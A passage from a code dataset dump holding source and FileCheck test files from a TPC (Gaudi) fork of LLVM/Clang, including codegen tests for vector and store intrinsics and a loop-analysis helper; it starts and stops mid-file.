c0 = 0;\n int __global *ptr = (__global int *) a_gen_addr_i(c0, in);\n c0[0]++;\n while(1) {\n int __global *ptr_w = (__global int *) a_gen_addr_i(c0, in);\n if (*ptr_w > *ptr)\n ptr = (__global int *) a_gen_addr_i(c0, in); // expected-error{{put actual message here}}\n else\n break;\n }\n *(int __local *)dest = *ptr;\n}" }, { "alpha_fraction": 0.6273972392082214, "alphanum_fraction": 0.6273972392082214, "avg_line_length": 33.761905670166016, "blob_id": "c6b9bda4cbd91fe78135b824d438481206366ac4", "content_id": "b9adfbd5fdaf830c1dbadd967c1335274fd1ae37", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 730, "license_type": "permissive", "max_line_length": 80, "num_lines": 21, "path": "/llvm/lib/Target/TPC/TPCTargetObjectFile.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCTargetObjectFile.cpp - TPC Object Files ----------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetObjectFile.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/DataLayout.h\"\n#include \"llvm/IR/DerivedTypes.h\"\n#include \"llvm/IR/GlobalVariable.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCSectionELF.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/Target/TargetMachine.h\"\nusing namespace llvm;\n" }, { "alpha_fraction": 0.3736029863357544, "alphanum_fraction": 0.45502927899360657, "avg_line_length": 24.73972511291504, "blob_id": "fe28c6e8a58b79e832e0d19f89d3b8b04c03693c", "content_id": "4e673061eb83a75bd11417f03408b32fb724b07a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3758, "license_type": "permissive", "max_line_length": 106, "num_lines": 146, "path": "/clang/test/RC99/IntrinsicsL/st_g_a-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(tensor in, float xf, _Bool xb,\n int xi, short xs, char xc,\n unsigned int xui, unsigned short xus, unsigned char xuc,\n _Bool pred\n ) {\n int5 ndx = {0, 0, 0, 0, xi};\n void __global *ptr;\n\n\n // F32\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n f32_st_g_a_s_b(ptr, xi, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S0, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n f32_st_g_a_s_b(ptr, xi, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S0, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n f32_st_g_a_s(ptr, xi);\n // CHECK: st_g %AD{{[0-9]}}, %S0, %SP0\n\n\n // BOOL\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n b_st_g_a_b_b(ptr, xb, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, [[XB:%SP[0-9]+]], [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n b_st_g_a_b_b(ptr, xb, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, [[XB]], ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n b_st_g_a_b(ptr, xb);\n // CHECK: st_g %AD{{[0-9]}}, [[XB]], %SP0\n\n\n // I32\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i32_st_g_a_s_b(ptr, xi, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S2, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i32_st_g_a_s_b(ptr, xi, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S2, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i32_st_g_a_s(ptr, xi);\n // CHECK: st_g %AD{{[0-9]}}, %S2, %SP0\n\n\n // U32\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u32_st_g_a_s_b(ptr, xui, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S5, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u32_st_g_a_s_b(ptr, xui, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S5, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u32_st_g_a_s(ptr, xui);\n // CHECK: st_g %AD{{[0-9]}}, %S5, %SP0\n\n\n // I16\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i16_st_g_a_s_b(ptr, xs, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S3, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i16_st_g_a_s_b(ptr, xs, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S3, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i16_st_g_a_s(ptr, xs);\n // CHECK: st_g %AD{{[0-9]}}, %S3, %SP0\n\n\n // U16\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u16_st_g_a_s_b(ptr, xus, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S6, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u16_st_g_a_s_b(ptr, xus, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S6, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u16_st_g_a_s(ptr, xus);\n // CHECK: st_g %AD{{[0-9]}}, %S6, %SP0\n\n\n // I8\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i8_st_g_a_s_b(ptr, xc, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S4, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i8_st_g_a_s_b(ptr, xc, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S4, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n i8_st_g_a_s(ptr, xc);\n // CHECK: st_g %AD{{[0-9]}}, %S4, %SP0\n\n\n // U8\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u8_st_g_a_s_b(ptr, xuc, pred, 0);\n // CHECK: st_g %AD{{[0-9]}}, %S7, [[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u8_st_g_a_s_b(ptr, xuc, pred, 1);\n // CHECK: st_g %AD{{[0-9]}}, %S7, ![[Pred:%SP[0-9]+]]\n\n ndx[0]++;\n ptr = gen_addr(ndx, in, 0, 0, 1, 0);\n u8_st_g_a_s(ptr, xuc);\n // CHECK: st_g %AD{{[0-9]}}, %S7, %SP0\n}\n" }, { "alpha_fraction": 0.561286211013794, "alphanum_fraction": 0.5655001997947693, "avg_line_length": 38.69454574584961, "blob_id": "31ac93dc05a08add8c0b04fe1cb17c2c80542021", "content_id": "8456bb6086c75df947cea4594b511bfe074261a8", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10916, "license_type": "permissive", "max_line_length": 89, "num_lines": 275, "path": "/llvm/lib/Target/TPC/TPCLoopData.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCLoopData.cpp ----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCLoopData.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n\nstatic unsigned getUnrollCountFromMetadata(MDNode *LoopMD) {\n if (!LoopMD || LoopMD->getNumOperands() == 0)\n return 1;\n\n MDNode *MD = nullptr;\n\n for (unsigned i = 1, e = LoopMD->getNumOperands(); i < e; ++i) {\n MD = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MD)\n continue;\n\n MDString *S = dyn_cast<MDString>(MD->getOperand(0));\n if (!S)\n continue;\n\n if (S->getString().equals(\"llvm.loop.machine.unroll.count\")) {\n assert(MD->getNumOperands() == 2 &&\n \"Unroll hint metadata should have two operands.\");\n unsigned Count =\n mdconst::extract<ConstantInt>(MD->getOperand(1))->getZExtValue();\n assert(Count >= 1 && \"Unroll count must be positive.\");\n return Count;\n }\n }\n\n return 1;\n}\n\n// function fullmap gets root instruction (in instToExp) and fills a vector (fill Vector)\n// of all users of this root instruction.\nstatic void fullmap(Instruction *instToExp,\n vector<const Instruction *> *fillVector) {\n for (auto II : instToExp->users()) {\n // Phi is a user that we don't want to save and explore.\n if (auto a = dyn_cast<PHINode>(II))\n continue;\n // Check if this instruction allready intrduce in the pass or not.\n std::vector<const Instruction *>::iterator it = std::find(\n fillVector->begin(), fillVector->end(),dyn_cast<Instruction>(II));\n // in the case that instruction was introduced in the past don't explore him.\n if (it != fillVector->end())\n continue;\n fillVector->push_back(dyn_cast<Instruction>(II));\n fullmap(dyn_cast<Instruction>(II), fillVector);\n }\n}\n\n// Fucntion find the location (instruction) of offset and size.\nstd::pair<IntrinsicInst *, IntrinsicInst *>\nLoopData::findOffsetAndSizeIntrinsics() {\n std::pair<IntrinsicInst *, IntrinsicInst *> indexSpaceOffsetSize;\n bool exit = false;\n for (auto FF = p_MD->begin(); FF != p_MD->end(); FF++) {\n for (auto BB = FF->begin(); BB != FF->end(); BB++) {\n for (auto II = BB->begin(); II != BB->end(); II++) {\n if (IntrinsicInst *check = dyn_cast<IntrinsicInst>(II)) {\n if (check->getIntrinsicID() == Intrinsic::tpc_get_index_space_offset)\n indexSpaceOffsetSize.first = check;\n else if (check->getIntrinsicID() ==\n Intrinsic::tpc_get_index_space_size)\n indexSpaceOffsetSize.second = check;\n if (indexSpaceOffsetSize.first && indexSpaceOffsetSize.second)\n exit = true;\n }\n if (exit)\n break;\n }\n if (exit)\n break;\n }\n if (exit)\n break;\n }\n return indexSpaceOffsetSize;\n}\n\ntypedef enum indexOffsetSize { offset, size } indexOffsetSize;\n\nconst SCEV *LoopData::relaxSCEV(const SCEV *EV,\n vector<const Instruction *> index,\n string name) {\n const SCEV *Left, *Rigth, *temp[10];\n const Loop *LoopVal;\n if (auto value = dyn_cast<SCEVCouldNotCompute>(EV))\n return p_SEL->getConstant(\n ConstantInt::get(Type::getInt32Ty(p_Latch->getContext()), 0));\n if (auto value = dyn_cast<SCEVMulExpr>(EV)) {\n Left = relaxSCEV(value->getOperand(0), index, name);\n Rigth = relaxSCEV(value->getOperand(1), index, name);\n return p_SEL->getMulExpr(Left, Rigth);\n }\n else if (auto value = dyn_cast<SCEVAddExpr>(EV)) {\n int start = 0;\n if (value->getNumOperands() > 2)\n start = 1;\n for (unsigned i = start; i < value->getNumOperands(); i++) {\n temp[i] = relaxSCEV(value->getOperand(i), index, name);\n }\n for (unsigned i = start + 1; i < value->getNumOperands(); i++) {\n temp[start] = p_SEL->getAddExpr(temp[i], temp[start]);\n }\n return temp[start];\n }\n else if (auto value = dyn_cast<SCEVUDivExpr>(EV)) {\n Left = relaxSCEV(value->getLHS(), index, name);\n Rigth = relaxSCEV(value->getRHS(), index, name);\n return p_SEL->getUDivExpr(Left, Rigth);\n }\n else if (auto value = dyn_cast<SCEVCastExpr>(EV)) {\n if (isa<SCEVTruncateExpr>(value))\n return p_SEL->getTruncateExpr(relaxSCEV(value->getOperand(), index, name),\n value->getType());\n else if (isa<SCEVZeroExtendExpr>(value))\n return p_SEL->getZeroExtendExpr(\n relaxSCEV(value->getOperand(), index, name), value->getType());\n else if (isa<SCEVSignExtendExpr>(value))\n return p_SEL->getSignExtendExpr(\n relaxSCEV(value->getOperand(), index, name), value->getType());\n }\n else if (const SCEVCommutativeExpr *ptr =\n dyn_cast<SCEVCommutativeExpr>(EV)) {\n Left = relaxSCEV(ptr->getOperand(0), index, name);\n Rigth = relaxSCEV(ptr->getOperand(1), index, name);\n if (isa<SCEVSMaxExpr>(ptr))\n return p_SEL->getSMaxExpr(Left, Rigth);\n if (isa<SCEVUMaxExpr>(ptr))\n return p_SEL->getUMaxExpr(Left, Rigth);\n }\n else if (const SCEVAddRecExpr *ptr = dyn_cast<SCEVAddRecExpr>(EV)) {\n Left = relaxSCEV(ptr->getOperand(0), index, name);\n Rigth = relaxSCEV(ptr->getOperand(1), index, name);\n LoopVal = ptr->getLoop();\n SCEV::NoWrapFlags FlagVal = ptr->getNoWrapFlags();\n return p_SEL->getAddRecExpr(Left, Rigth, LoopVal, FlagVal);\n }\n else if (const SCEVUnknown *ptr = dyn_cast<SCEVUnknown>(EV)) {\n Value *valToSearch = ptr->getValue();\n if (std::find(index.begin(), index.end(),\n dyn_cast<Instruction>(valToSearch)) != index.end()) {\n if (valToSearch->getName().find(\"TPC\" + name) == std::string::npos) {\n valToSearch->setName(\"TPC\" + name + \".\" + to_string(m_DIM));\n }\n }\n else if (IntrinsicInst *val = dyn_cast<IntrinsicInst>(valToSearch)) {\n if (val->getIntrinsicID() == Intrinsic::tpc_ld_l) {\n if (ConstantInt *valConst = dyn_cast<ConstantInt>(val->getOperand(0))) {\n valToSearch->setName(\"TPCLoadL\" +\n to_string(valConst->getValue().getZExtValue()));\n }\n }\n else if (val->getIntrinsicID() == Intrinsic::tpc_ld_g) {\n valToSearch->setName(\"TPCLoadG.0\");\n }\n else if (val->getIntrinsicID() == Intrinsic::tpc_gen_addr) {\n valToSearch->setName(\"TPCGenA.0\");\n }\n }\n return p_SEL->getSCEV(valToSearch);\n }\n else if (const SCEVConstant *ptr = dyn_cast<SCEVConstant>(EV)) {\n return ptr;\n }\n return NULL;\n}\n\n/// This function is a for the cost model\n/// BB - BasicBlock of the loop's latch\nvoid LoopData::findNumberOfIterations(BasicBlock *BB) {\n std::pair<IntrinsicInst *, IntrinsicInst *> indexSpaceOffsetSize =\n findOffsetAndSizeIntrinsics();\n\n if ((!indexSpaceOffsetSize.first) || (!indexSpaceOffsetSize.second))\n return;\n\n vector<const Instruction *> indexSpaceSize[2];\n fullmap(indexSpaceOffsetSize.first, &indexSpaceSize[0]);\n fullmap(indexSpaceOffsetSize.second, &indexSpaceSize[1]);\n\n for (int i = 0; i < 2; i++) {\n string Intrin = i == 0 ? \"offset\" : \"size\";\n p_LoopSCEV = relaxSCEV(p_LoopSCEV, indexSpaceSize[i], Intrin);\n }\n}\n\nLoopData::LoopData(Loop *L, ScalarEvolution *SE, bool costModel)\n : p_LH(L), p_SEL(SE) {\n m_backendUnroll = getUnrollCountFromMetadata(L->getLoopID());\n p_Prev = L->getParentLoop();\n SmallVector<BasicBlock *, 8> Latches;\n L->getLoopLatches(Latches);\n //TODO: Check what to do when there is more then one latch\n p_Latch = Latches[0];\n p_MD = L->getBlocksVector().at(0)->getParent()->getParent();\n p_Nested = L->getLoopPredecessor();\n SCEVUnionPredicate Pred;\n p_LoopSCEV = p_SEL->getPredicatedBackedgeTakenCount(L, Pred);\n // since this is pollynom we want to multiply with the netural number.\n vector<BasicBlock *> bb = L->getBlocks();\n InductionDescriptor ID;\n const SCEV *scev = NULL;\n for (auto II = bb[0]->begin(), IE = bb[0]->end(); II != IE; ++II) {\n Value *ptr = dyn_cast<Value>(II);\n if (p_SEL->isSCEVable(ptr->getType())) {\n scev = p_SEL->getSCEV(ptr);\n p_SEL->getLoopDisposition(scev, p_LH);\n SCEVParser SCVECP(scev, p_SEL);\n\n if (Instruction *temp = SCVECP.getValueInducation())\n p_Inducation = temp;\n m_STEP = SCVECP.get_step();\n if (p_Inducation != nullptr)\n break;\n }\n }\n if (p_Inducation) {\n if (auto val = dyn_cast<SCEVCouldNotCompute>(p_LoopSCEV)) {\n p_LoopSCEV = scev;\n m_SCEVNotValid = false;\n }\n if (p_Inducation->getOpcode() == Instruction::ExtractElement) {\n llvm::ConstantInt *CI =\n dyn_cast<llvm::ConstantInt>(p_Inducation->getOperand(1));\n m_DIM = CI->getZExtValue();\n m_Valid = true;\n }\n }\n if (auto val = dyn_cast<SCEVCouldNotCompute>(p_LoopSCEV)) {\n m_SCEVNotValid = false;\n p_LoopSCEV = tryFindSCEV();\n }\n if (costModel) {\n if (p_LoopSCEV->getType()->isPointerTy()) {\n m_SCEVNotValid = false;\n return;\n }\n findNumberOfIterations(p_Latch);\n const SCEV *divFactor = SE->getConstant(ConstantInt::get(\n Type::getIntNTy(p_Latch->getContext(),\n p_LoopSCEV->getType()->getIntegerBitWidth()),\n m_backendUnroll));\n p_LoopSCEV = SE->getUDivExpr(p_LoopSCEV, divFactor);\n }\n}\n\nconst SCEV *LoopData::tryFindSCEV() {\n std::vector<const SCEV *> Canidate;\n std::vector<IntrinsicInst *> getLocalList;\n BasicBlock *BB = p_LH->getBlocks()[0];\n for (auto II = BB->begin(), IE = BB->end(); II != IE; ++II) {\n if (p_SEL->isSCEVable(II->getType())) {\n Value *ptr = dyn_cast<Value>(II);\n if (const SCEVAddRecExpr *val =\n dyn_cast<SCEVAddRecExpr>(p_SEL->getSCEV(ptr))) {\n Canidate.push_back(val);\n m_SCEVNotValid = true;\n return val;\n }\n }\n }\n return p_SEL->getConstant(\n ConstantInt::get(Type::getInt32Ty(p_Latch->getContext()), 1));\n}\n" }, { "alpha_fraction": 0.5171339511871338, "alphanum_fraction": 0.6137071847915649, "avg_line_length": 39.25, "blob_id": "b2050f6d869d93089a3aa22ee66fb5cf0a72b241", "content_id": "47605872cdacb3430962fd5b7e89086fde7443ae", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 321, "license_type": "permissive", "max_line_length": 104, "num_lines": 8, "path": "/clang/test/RC99/tensor/tensor-29.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -O1 -tpc-special %s -o - | FileCheck %s\n\nvoid main(int dest) {\n unsigned __local *ptr = (unsigned __local *)dest;\n set_dim_stride(1, 2, *ptr);\n}\n// 0x478 == 1144 \n// CHECK: call void @llvm.tpc.st.l.i32(i32 1144, i32 %{{[0-9]+}}, i32 1, i1 true, i1 false)" }, { "alpha_fraction": 0.4987468719482422, "alphanum_fraction": 0.5739348530769348, "avg_line_length": 35.272727966308594, "blob_id": "7f09dbb22b0dadf72b50dcb92b69617aa86f4652", "content_id": "966ee9969decce5de39cd1e78f38706d6378e2e5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 399, "license_type": "permissive", "max_line_length": 106, "num_lines": 11, "path": "/clang/test/RC99/bfloat16/bf16_add-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int src) {\n _BFloat16 __local *dptr = (_BFloat16 __local *) dest;\n _BFloat16 __local *sptr = (_BFloat16 __local *) src;\n\n *dptr = 8.0bf + *sptr;\n// CHECK: ld_l [[REG:%S[0-9]+]], %S1\n// CHECK: add.bf16 [[REG2:%S[0-9]+]], [[REG]], 0x4100\n// CHECK: st_l %S0, [[REG2]]\n}\n" }, { "alpha_fraction": 0.33818742632865906, "alphanum_fraction": 0.43721088767051697, "avg_line_length": 30.3817195892334, "blob_id": "ff865c2c6037865320e03b7c0027967b0cfced3e", "content_id": "14b2c2e1c9e968016f94fb29b5466d0006c18017", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5837, "license_type": "permissive", "max_line_length": 81, "num_lines": 186, "path": "/clang/test/RC99/Intrinsics/v_u8_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, unsigned char xs, int dest, _Bool pred, int vpreda) {\n uchar256 __local *x0ptr = (uchar256 __local *)x0a;\n uchar256 __local *x1ptr = (uchar256 __local *)x1a;\n uint256 __local *dptr = (uint256 __local *)dest;\n bool256 __local *vpptr = (bool256 __local *)vpreda;\n uint256 res = { 0 };\n uchar256 x0 = *x0ptr;\n uchar256 x1 = *x1ptr;\n bool256 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_u8_mac_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u8_mac_b(x0, x1, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u8_mac_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_u8_mac_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, x1, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_u8_mac_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_u8_mac_b(x0, xs, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_u8_mac_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_u8_mac_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, xs, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_u8_mac_b(x0, 123, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_u8_mac_b(x0, 123, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_u8_mac_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_u8_mac_b(x0, 123, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, 123, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, 123, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_u8_mac_vb(x0, 123, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n\n // Vector + Vector\n\n res = av_u8_mac_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_u8_mac_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_u8_mac_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = av_u8_mac_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = av_u8_mac_v_v_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = av_u8_mac_v_v_vb(x0, x1, res, 1, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = av_u8_mac_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_u8_mac_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_u8_mac_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = av_u8_mac_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = av_u8_mac_v_s_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = av_u8_mac_v_s_vb(x0, xs, res, 1, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = av_u8_mac_v_s(x0, 123, res, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_u8_mac_v_s(x0, 123, res, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_u8_mac_v_s_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = av_u8_mac_v_s_b(x0, 123, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = av_u8_mac_v_s_vb(x0, 123, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %A{{[0-9]+}}, 